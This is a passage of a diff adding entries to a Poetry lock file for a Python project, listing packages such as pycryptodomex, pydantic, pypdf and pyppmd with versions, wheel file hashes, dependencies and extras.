+ {file = "pybcj-1.0.1-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:9b56eeff51efa556ecc186260ac486a4ddd79ad37bc88d669e96c45190f3c0da"},
+ {file = "pybcj-1.0.1-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:d5b327df02761c42399c878cd6c37f885bf0639befbd4d1ab763cd44ba1e0552"},
+ {file = "pybcj-1.0.1-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:023082fd677f67ebd36fe96322a4a45ac33a2b340d49010d88e1867c76744c50"},
+ {file = "pybcj-1.0.1-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f8576a1dcf445ef064bf8c3b2cdc1d6353e41cb4b366329946883e285dcbcec0"},
+ {file = "pybcj-1.0.1-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1a5365edcaa82dc47e7757ba2efb48f96b9b352e3811a2aaa90084802479ddbe"},
+ {file = "pybcj-1.0.1-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:6ca6ddae1302477879099d4c4efc65790f4610d71ceff7fbe8f8b60f6ac6dcff"},
+ {file = "pybcj-1.0.1.tar.gz", hash = "sha256:8b682ed08caabfb7c042d4be083e28ddc692afb1deff5567111f8855071b75c3"},
+]
+
+[package.extras]
+check = ["check-manifest", "flake8 (<5)", "flake8-black", "flake8-colors", "flake8-isort", "flake8-pyi", "flake8-typing-imports", "mypy (>=0.812)", "mypy-extensions (>=0.4.3)", "pygments", "readme-renderer"]
+test = ["coverage[toml] (>=5.2)", "hypothesis", "pytest (>=6.0)", "pytest-cov"]
+
+[[package]]
+name = "pycodestyle"
+version = "2.9.1"
+description = "Python style guide checker"
+category = "dev"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "pycodestyle-2.9.1-py2.py3-none-any.whl", hash = "sha256:d1735fc58b418fd7c5f658d28d943854f8a849b01a5d0a1e6f3f3fdd0166804b"},
+ {file = "pycodestyle-2.9.1.tar.gz", hash = "sha256:2c9607871d58c76354b697b42f5d57e1ada7d261c261efac224b664affdc5785"},
+]
+
+[[package]]
+name = "pycountry"
+version = "22.3.5"
+description = "ISO country, subdivision, language, currency and script definitions and their translations"
+category = "main"
+optional = false
+python-versions = ">=3.6, <4"
+files = [
+ {file = "pycountry-22.3.5.tar.gz", hash = "sha256:b2163a246c585894d808f18783e19137cb70a0c18fb36748dc01fc6f109c1646"},
+]
+
+[package.dependencies]
+setuptools = "*"
+
+[[package]]
+name = "pycparser"
+version = "2.21"
+description = "C parser in Python"
+category = "main"
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*"
+files = [
+ {file = "pycparser-2.21-py2.py3-none-any.whl", hash = "sha256:8ee45429555515e1f6b185e78100aea234072576aa43ab53aefcae078162fca9"},
+ {file = "pycparser-2.21.tar.gz", hash = "sha256:e644fdec12f7872f86c58ff790da456218b10f863970249516d60a5eaca77206"},
+]
+
+[[package]]
+name = "pycryptodomex"
+version = "3.17"
+description = "Cryptographic library for Python"
+category = "main"
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*"
+files = [
+ {file = "pycryptodomex-3.17-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:12056c38e49d972f9c553a3d598425f8a1c1d35b2e4330f89d5ff1ffb70de041"},
+ {file = "pycryptodomex-3.17-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:ab33c2d9f275e05e235dbca1063753b5346af4a5cac34a51fa0da0d4edfb21d7"},
+ {file = "pycryptodomex-3.17-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:caa937ff29d07a665dfcfd7a84f0d4207b2ebf483362fa9054041d67fdfacc20"},
+ {file = "pycryptodomex-3.17-cp27-cp27m-manylinux2014_aarch64.whl", hash = "sha256:db23d7341e21b273d2440ec6faf6c8b1ca95c8894da612e165be0b89a8688340"},
+ {file = "pycryptodomex-3.17-cp27-cp27m-musllinux_1_1_aarch64.whl", hash = "sha256:f854c8476512cebe6a8681cc4789e4fcff6019c17baa0fd72b459155dc605ab4"},
+ {file = "pycryptodomex-3.17-cp27-cp27m-win32.whl", hash = "sha256:a57e3257bacd719769110f1f70dd901c5b6955e9596ad403af11a3e6e7e3311c"},
+ {file = "pycryptodomex-3.17-cp27-cp27m-win_amd64.whl", hash = "sha256:d38ab9e53b1c09608ba2d9b8b888f1e75d6f66e2787e437adb1fecbffec6b112"},
+ {file = "pycryptodomex-3.17-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:3c2516b42437ae6c7a29ef3ddc73c8d4714e7b6df995b76be4695bbe4b3b5cd2"},
+ {file = "pycryptodomex-3.17-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:5c23482860302d0d9883404eaaa54b0615eefa5274f70529703e2c43cc571827"},
+ {file = "pycryptodomex-3.17-cp27-cp27mu-manylinux2014_aarch64.whl", hash = "sha256:7a8dc3ee7a99aae202a4db52de5a08aa4d01831eb403c4d21da04ec2f79810db"},
+ {file = "pycryptodomex-3.17-cp27-cp27mu-musllinux_1_1_aarch64.whl", hash = "sha256:7cc28dd33f1f3662d6da28ead4f9891035f63f49d30267d3b41194c8778997c8"},
+ {file = "pycryptodomex-3.17-cp35-abi3-macosx_10_9_universal2.whl", hash = "sha256:2d4d395f109faba34067a08de36304e846c791808524614c731431ee048fe70a"},
+ {file = "pycryptodomex-3.17-cp35-abi3-macosx_10_9_x86_64.whl", hash = "sha256:55eed98b4150a744920597c81b3965b632038781bab8a08a12ea1d004213c600"},
+ {file = "pycryptodomex-3.17-cp35-abi3-manylinux2014_aarch64.whl", hash = "sha256:7fa0b52df90343fafe319257b31d909be1d2e8852277fb0376ba89d26d2921db"},
+ {file = "pycryptodomex-3.17-cp35-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:78f0ddd4adc64baa39b416f3637aaf99f45acb0bcdc16706f0cc7ebfc6f10109"},
+ {file = "pycryptodomex-3.17-cp35-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a4fa037078e92c7cc49f6789a8bac3de06856740bb2038d05f2d9a2e4b165d59"},
+ {file = "pycryptodomex-3.17-cp35-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:88b0d5bb87eaf2a31e8a759302b89cf30c97f2f8ca7d83b8c9208abe8acb447a"},
+ {file = "pycryptodomex-3.17-cp35-abi3-musllinux_1_1_i686.whl", hash = "sha256:6feedf4b0e36b395329b4186a805f60f900129cdf0170e120ecabbfcb763995d"},
+ {file = "pycryptodomex-3.17-cp35-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:7a6651a07f67c28b6e978d63aa3a3fccea0feefed9a8453af3f7421a758461b7"},
+ {file = "pycryptodomex-3.17-cp35-abi3-win32.whl", hash = "sha256:32e764322e902bbfac49ca1446604d2839381bbbdd5a57920c9daaf2e0b778df"},
+ {file = "pycryptodomex-3.17-cp35-abi3-win_amd64.whl", hash = "sha256:4b51e826f0a04d832eda0790bbd0665d9bfe73e5a4d8ea93b6a9b38beeebe935"},
+ {file = "pycryptodomex-3.17-pp27-pypy_73-macosx_10_9_x86_64.whl", hash = "sha256:d4cf0128da167562c49b0e034f09e9cedd733997354f2314837c2fa461c87bb1"},
+ {file = "pycryptodomex-3.17-pp27-pypy_73-manylinux2010_x86_64.whl", hash = "sha256:c92537b596bd5bffb82f8964cabb9fef1bca8a28a9e0a69ffd3ec92a4a7ad41b"},
+ {file = "pycryptodomex-3.17-pp27-pypy_73-win32.whl", hash = "sha256:599bb4ae4bbd614ca05f49bd4e672b7a250b80b13ae1238f05fd0f09d87ed80a"},
+ {file = "pycryptodomex-3.17-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:4c4674f4b040321055c596aac926d12f7f6859dfe98cd12f4d9453b43ab6adc8"},
+ {file = "pycryptodomex-3.17-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:67a3648025e4ddb72d43addab764336ba2e670c8377dba5dd752e42285440d31"},
+ {file = "pycryptodomex-3.17-pp38-pypy38_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:40e8a11f578bd0851b02719c862d55d3ee18d906c8b68a9c09f8c564d6bb5b92"},
+ {file = "pycryptodomex-3.17-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:23d83b610bd97704f0cd3acc48d99b76a15c8c1540d8665c94d514a49905bad7"},
+ {file = "pycryptodomex-3.17-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:fd29d35ac80755e5c0a99d96b44fb9abbd7e871849581ea6a4cb826d24267537"},
+ {file = "pycryptodomex-3.17-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:64b876d57cb894b31056ad8dd6a6ae1099b117ae07a3d39707221133490e5715"},
+ {file = "pycryptodomex-3.17-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ee8bf4fdcad7d66beb744957db8717afc12d176e3fd9c5d106835133881a049b"},
+ {file = "pycryptodomex-3.17-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:c84689c73358dfc23f9fdcff2cb9e7856e65e2ce3b5ed8ff630d4c9bdeb1867b"},
+ {file = "pycryptodomex-3.17.tar.gz", hash = "sha256:0af93aad8d62e810247beedef0261c148790c52f3cd33643791cc6396dd217c1"},
+]
+
+[[package]]
+name = "pydantic"
+version = "1.10.7"
+description = "Data validation and settings management using python type hints"
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "pydantic-1.10.7-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:e79e999e539872e903767c417c897e729e015872040e56b96e67968c3b918b2d"},
+ {file = "pydantic-1.10.7-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:01aea3a42c13f2602b7ecbbea484a98169fb568ebd9e247593ea05f01b884b2e"},
+ {file = "pydantic-1.10.7-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:516f1ed9bc2406a0467dd777afc636c7091d71f214d5e413d64fef45174cfc7a"},
+ {file = "pydantic-1.10.7-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ae150a63564929c675d7f2303008d88426a0add46efd76c3fc797cd71cb1b46f"},
+ {file = "pydantic-1.10.7-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:ecbbc51391248116c0a055899e6c3e7ffbb11fb5e2a4cd6f2d0b93272118a209"},
+ {file = "pydantic-1.10.7-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:f4a2b50e2b03d5776e7f21af73e2070e1b5c0d0df255a827e7c632962f8315af"},
+ {file = "pydantic-1.10.7-cp310-cp310-win_amd64.whl", hash = "sha256:a7cd2251439988b413cb0a985c4ed82b6c6aac382dbaff53ae03c4b23a70e80a"},
+ {file = "pydantic-1.10.7-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:68792151e174a4aa9e9fc1b4e653e65a354a2fa0fed169f7b3d09902ad2cb6f1"},
+ {file = "pydantic-1.10.7-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:dfe2507b8ef209da71b6fb5f4e597b50c5a34b78d7e857c4f8f3115effaef5fe"},
+ {file = "pydantic-1.10.7-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:10a86d8c8db68086f1e30a530f7d5f83eb0685e632e411dbbcf2d5c0150e8dcd"},
+ {file = "pydantic-1.10.7-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d75ae19d2a3dbb146b6f324031c24f8a3f52ff5d6a9f22f0683694b3afcb16fb"},
+ {file = "pydantic-1.10.7-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:464855a7ff7f2cc2cf537ecc421291b9132aa9c79aef44e917ad711b4a93163b"},
+ {file = "pydantic-1.10.7-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:193924c563fae6ddcb71d3f06fa153866423ac1b793a47936656e806b64e24ca"},
+ {file = "pydantic-1.10.7-cp311-cp311-win_amd64.whl", hash = "sha256:b4a849d10f211389502059c33332e91327bc154acc1845f375a99eca3afa802d"},
+ {file = "pydantic-1.10.7-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:cc1dde4e50a5fc1336ee0581c1612215bc64ed6d28d2c7c6f25d2fe3e7c3e918"},
+ {file = "pydantic-1.10.7-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e0cfe895a504c060e5d36b287ee696e2fdad02d89e0d895f83037245218a87fe"},
+ {file = "pydantic-1.10.7-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:670bb4683ad1e48b0ecb06f0cfe2178dcf74ff27921cdf1606e527d2617a81ee"},
+ {file = "pydantic-1.10.7-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:950ce33857841f9a337ce07ddf46bc84e1c4946d2a3bba18f8280297157a3fd1"},
+ {file = "pydantic-1.10.7-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:c15582f9055fbc1bfe50266a19771bbbef33dd28c45e78afbe1996fd70966c2a"},
+ {file = "pydantic-1.10.7-cp37-cp37m-win_amd64.whl", hash = "sha256:82dffb306dd20bd5268fd6379bc4bfe75242a9c2b79fec58e1041fbbdb1f7914"},
+ {file = "pydantic-1.10.7-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:8c7f51861d73e8b9ddcb9916ae7ac39fb52761d9ea0df41128e81e2ba42886cd"},
+ {file = "pydantic-1.10.7-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:6434b49c0b03a51021ade5c4daa7d70c98f7a79e95b551201fff682fc1661245"},
+ {file = "pydantic-1.10.7-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:64d34ab766fa056df49013bb6e79921a0265204c071984e75a09cbceacbbdd5d"},
+ {file = "pydantic-1.10.7-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:701daea9ffe9d26f97b52f1d157e0d4121644f0fcf80b443248434958fd03dc3"},
+ {file = "pydantic-1.10.7-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:cf135c46099ff3f919d2150a948ce94b9ce545598ef2c6c7bf55dca98a304b52"},
+ {file = "pydantic-1.10.7-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:b0f85904f73161817b80781cc150f8b906d521fa11e3cdabae19a581c3606209"},
+ {file = "pydantic-1.10.7-cp38-cp38-win_amd64.whl", hash = "sha256:9f6f0fd68d73257ad6685419478c5aece46432f4bdd8d32c7345f1986496171e"},
+ {file = "pydantic-1.10.7-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:c230c0d8a322276d6e7b88c3f7ce885f9ed16e0910354510e0bae84d54991143"},
+ {file = "pydantic-1.10.7-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:976cae77ba6a49d80f461fd8bba183ff7ba79f44aa5cfa82f1346b5626542f8e"},
+ {file = "pydantic-1.10.7-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7d45fc99d64af9aaf7e308054a0067fdcd87ffe974f2442312372dfa66e1001d"},
+ {file = "pydantic-1.10.7-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d2a5ebb48958754d386195fe9e9c5106f11275867051bf017a8059410e9abf1f"},
+ {file = "pydantic-1.10.7-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:abfb7d4a7cd5cc4e1d1887c43503a7c5dd608eadf8bc615413fc498d3e4645cd"},
+ {file = "pydantic-1.10.7-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:80b1fab4deb08a8292d15e43a6edccdffa5377a36a4597bb545b93e79c5ff0a5"},
+ {file = "pydantic-1.10.7-cp39-cp39-win_amd64.whl", hash = "sha256:d71e69699498b020ea198468e2480a2f1e7433e32a3a99760058c6520e2bea7e"},
+ {file = "pydantic-1.10.7-py3-none-any.whl", hash = "sha256:0cd181f1d0b1d00e2b705f1bf1ac7799a2d938cce3376b8007df62b29be3c2c6"},
+ {file = "pydantic-1.10.7.tar.gz", hash = "sha256:cfc83c0678b6ba51b0532bea66860617c4cd4251ecf76e9846fa5a9f3454e97e"},
+]
+
+[package.dependencies]
+typing-extensions = ">=4.2.0"
+
+[package.extras]
+dotenv = ["python-dotenv (>=0.10.4)"]
+email = ["email-validator (>=1.0.3)"]
+
+[[package]]
+name = "pyflakes"
+version = "2.5.0"
+description = "passive checker of Python programs"
+category = "dev"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "pyflakes-2.5.0-py2.py3-none-any.whl", hash = "sha256:4579f67d887f804e67edb544428f264b7b24f435b263c4614f384135cea553d2"},
+ {file = "pyflakes-2.5.0.tar.gz", hash = "sha256:491feb020dca48ccc562a8c0cbe8df07ee13078df59813b83959cbdada312ea3"},
+]
+
+[[package]]
+name = "pygments"
+version = "2.15.1"
+description = "Pygments is a syntax highlighting package written in Python."
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "Pygments-2.15.1-py3-none-any.whl", hash = "sha256:db2db3deb4b4179f399a09054b023b6a586b76499d36965813c71aa8ed7b5fd1"},
+ {file = "Pygments-2.15.1.tar.gz", hash = "sha256:8ace4d3c1dd481894b2005f560ead0f9f19ee64fe983366be1a21e171d12775c"},
+]
+
+[package.extras]
+plugins = ["importlib-metadata"]
+
+[[package]]
+name = "pyopenssl"
+version = "23.1.1"
+description = "Python wrapper module around the OpenSSL library"
+category = "main"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "pyOpenSSL-23.1.1-py3-none-any.whl", hash = "sha256:9e0c526404a210df9d2b18cd33364beadb0dc858a739b885677bc65e105d4a4c"},
+ {file = "pyOpenSSL-23.1.1.tar.gz", hash = "sha256:841498b9bec61623b1b6c47ebbc02367c07d60e0e195f19790817f10cc8db0b7"},
+]
+
+[package.dependencies]
+cryptography = ">=38.0.0,<41"
+
+[package.extras]
+docs = ["sphinx (!=5.2.0,!=5.2.0.post0)", "sphinx-rtd-theme"]
+test = ["flaky", "pretend", "pytest (>=3.0.1)"]
+
+[[package]]
+name = "pypdf"
+version = "3.8.1"
+description = "A pure-python PDF library capable of splitting, merging, cropping, and transforming PDF files"
+category = "main"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "pypdf-3.8.1-py3-none-any.whl", hash = "sha256:0c34620e4bbceaf9632b6b7a8ec6d4a4d5b0cdee6e39bdb86dc91a8c44cb0f19"},
+ {file = "pypdf-3.8.1.tar.gz", hash = "sha256:761ad6dc33abb78d358b4ae42206c5f185798f8b537be9b8fdecd9ee834a894d"},
+]
+
+[package.extras]
+crypto = ["PyCryptodome"]
+dev = ["black", "flit", "pip-tools", "pre-commit (<2.18.0)", "pytest-cov", "wheel"]
+docs = ["myst_parser", "sphinx", "sphinx_rtd_theme"]
+full = ["Pillow", "PyCryptodome"]
+image = ["Pillow"]
+
+[[package]]
+name = "pyppmd"
+version = "1.0.0"
+description = "PPMd compression/decompression library"
+category = "main"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "pyppmd-1.0.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:8049c19af4b78b400b2347bff4514763257b55516c359144e9d8091991ed12e8"},
+ {file = "pyppmd-1.0.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:1c0fd06aaf782e65b7b5bbc47f8a9dbe050c1ba18474ccbe0a2b37f57a8d8c72"},
+ {file = "pyppmd-1.0.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:e17b08a5c283faf48b4ee888f8fa53f919cd8afd0930eae4d59f719f6be519fb"},
+ {file = "pyppmd-1.0.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:71f994f281439705cb04c497adc2863551fa5813606af6fb26c673a44a36c4e3"},
+ {file = "pyppmd-1.0.0-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:31a09fd1b10518342ff442b57dd8c890b9bfea6bbdbb785c729f0d139092e42e"},
+ {file = "pyppmd-1.0.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ca6a926d229a6dbf2ccdb0d4e692d81ff927459b59a1cec14ef522522df6d757"},
+ {file = "pyppmd-1.0.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:6279f1c4b6aefacb95df49db2f2e232530592d1849c37b73478a4f26eb405d12"},
+ {file = "pyppmd-1.0.0-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:f7a1b08612627d5280ef2dad1fadb0b1a10c70df0c484f9091eff5fab5e4c84e"},
+ {file = "pyppmd-1.0.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:3ecb83e0cc92960f959111518ea208b51a58e8cc303ff959e9cd2cc56dd36a63"},
+ {file = "pyppmd-1.0.0-cp310-cp310-win32.whl", hash = "sha256:703c4fbc9b5e1454f403fb1d6b4a6c4c729f72eef14690146deecd2166429d6d"},
+ {file = "pyppmd-1.0.0-cp310-cp310-win_amd64.whl", hash = "sha256:6e2f5ff5071e4e43c92065f383753d4ad59778816485a01ee7b29e2a1ff48140"},
+ {file = "pyppmd-1.0.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:7e8d3c309061ae7fb40e4a26d30f8982b367abc562b9b8621cb79932cb3b94d9"},
+ {file = "pyppmd-1.0.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:5805c73590fb8f0ceb3e6cb115774b66a6f4700ae84b31d962ad69667e05dfbd"},
+ {file = "pyppmd-1.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:6a0c524be57698fe61fff893d485a9af21e6bc0aa2d385b71a63ff951921d4b6"},
+ {file = "pyppmd-1.0.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:18d7cf4d0a9ced96ff1fa44de9ee3d65f5b06278c8f9a61c3edeb660f12f146b"},
+ {file = "pyppmd-1.0.0-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:61acfeee5ed59796037499119edd3159bf6b8c5fcaef17e295a2ca4103112d60"},
+ {file = "pyppmd-1.0.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f8dbe3076fe20c4d65cb1d1b51eeb17a1c177402b83100017a55daad888e198e"},
+ {file = "pyppmd-1.0.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:3bc75ed4e969b09fd1a766dd79cb3d5efe56edc11c86ac0b357b5648c7181ce2"},
+ {file = "pyppmd-1.0.0-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:024f714ebb8ddf59dae164adc3c220c24555d470f4adb5bd022abc50298cfff3"},
+ {file = "pyppmd-1.0.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:7ae419f71afa88784d53dd2449882af982bbd0328fa22a7e6a339221f3143918"},
+ {file = "pyppmd-1.0.0-cp311-cp311-win32.whl", hash = "sha256:8680008b1b1e9e77f3337a1a53c1b32541cac9f93f79ae12d34de050585999ac"},
+ {file = "pyppmd-1.0.0-cp311-cp311-win_amd64.whl", hash = "sha256:a5fbec6f39a307818593508d8623d9328baf494137d191fc98e11f47e058ceee"},
+ {file = "pyppmd-1.0.0-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:a7240c00083527cf0b1bbdc92f6967e522efb9ad6968c953be174c390b091b3e"},
+ {file = "pyppmd-1.0.0-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:cfb716a4a07ccbef84ed9fc31d012cef3b38404a6510e24d307cf64025999b21"},
+ {file = "pyppmd-1.0.0-cp36-cp36m-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:12be01e919a34c6944568592b35451acf7c98ed18e005bb4b1c046ed520aff7f"},
+ {file = "pyppmd-1.0.0-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5d90d87377d83d909eafbf23301057fe16e6662c98ffea738159a234d9000a68"},
+ {file = "pyppmd-1.0.0-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:12a783a0e3c76484a1bc93783867a36ab9a60de5b5298d57c9fe7348e848346e"},
+ {file = "pyppmd-1.0.0-cp36-cp36m-musllinux_1_1_i686.whl", hash = "sha256:b6b6c01e46fcf785ad6c272be400ebcbcb434a1d91150614e10de8cc569b8bff"},
+ {file = "pyppmd-1.0.0-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:385a0b1341ebdfd7cb101c43eea130546830073c01bdb5036bca45c033ee633e"},
+ {file = "pyppmd-1.0.0-cp36-cp36m-win32.whl", hash = "sha256:b8eee08c615ae9edd7bf1f214a377cac3d27417f22112685e581d4bab43029b0"},
+ {file = "pyppmd-1.0.0-cp36-cp36m-win_amd64.whl", hash = "sha256:0e9c001719527dbafdd7fd8709b98bd63c173451c2eddbaa77abf62486a13da0"},
+ {file = "pyppmd-1.0.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:5847c47127ff9ea323f5910c62b9f136c3fab181a5144bfe72be13f051047357"},
+ {file = "pyppmd-1.0.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:63ddd5a81d6aaed9373cd9fc4de9529f10fa052aaf064ab283dc6218418cc5b5"},
+ {file = "pyppmd-1.0.0-cp37-cp37m-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:706d33cec3601d894f8a4a158bc652b7a3f01cd9e92c2da5d8711efeb9755835"},
+ {file = "pyppmd-1.0.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:07e067e114f05918c8a4ab1fa6a070e2c7a9e497aa73fbf6d87a90e7a6e62a57"},
+ {file = "pyppmd-1.0.0-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:cecf0859b461bcf04439f32bcfb6e081016fa6204c92b5950d19d248fd1aad6b"},
+ {file = "pyppmd-1.0.0-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:47ea218f7dfa94d15286c25d60db3091db1082ba958fa0a32ccaaaeaca7fc712"},
+ {file = "pyppmd-1.0.0-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:f751882dd529328ca43af8018f79cdd02ed707fcda30a2fa9acb1ee5c48261a6"},
+ {file = "pyppmd-1.0.0-cp37-cp37m-win32.whl", hash = "sha256:18f863d58c4451e00765137be731c2b2150aff829468f59de4169e052429e1fd"},
+ {file = "pyppmd-1.0.0-cp37-cp37m-win_amd64.whl", hash = "sha256:05950d8a39fd9bf6c64572d69a6dd0a1af3fadf8d4a2a0bb62f5b04c0a618300"},
+ {file = "pyppmd-1.0.0-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:5331a7780d3444d7029e15e68385c94d6a26f688c1e87a5a9ee2e836ea6e4559"},
+ {file = "pyppmd-1.0.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:62f970173baf80aad9472c7c6edca4a021ae7965174b1c5d6f400c9571e92efc"},
+ {file = "pyppmd-1.0.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:ccdfc8b2a1d73b2186850b9a5bd96106d5fd4419a620d344b0ab8bf630680cf8"},
+ {file = "pyppmd-1.0.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a63adeeb9dc4afd6d377ac1c9801f9539f9a81430e9c96d332023bf2ad6c04a1"},
+ {file = "pyppmd-1.0.0-cp38-cp38-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ca8a842b4ff671642b63ed4edd4e1ff7dc0ba0a7af4135758233f056ab992fca"},
+ {file = "pyppmd-1.0.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ac1aeba466617cf975cd6719070ca9721bcd83a1a84bd8cf74c3a2808724481e"},
+ {file = "pyppmd-1.0.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:b0a87399ade5820f787758449976e758604c7739eb5f79ed9e594b5fa3a6a1bc"},
+ {file = "pyppmd-1.0.0-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:74bd56b165283bb5586ff9ac7a896b217b3c94effe144b768279807840142bb4"},
+ {file = "pyppmd-1.0.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:ea4b1a326afe2055304740a03a233f7389f615179b9f6377264b306f619bfb11"},
+ {file = "pyppmd-1.0.0-cp38-cp38-win32.whl", hash = "sha256:d2c3c16f644afb1b3caa4f6c717682030f7c3f54a12af8b1416b21877f0b5226"},
+ {file = "pyppmd-1.0.0-cp38-cp38-win_amd64.whl", hash = "sha256:a7f83970a057157c88d4a53a40431d07d8d3f38029ad2eae621422f955bd243b"},
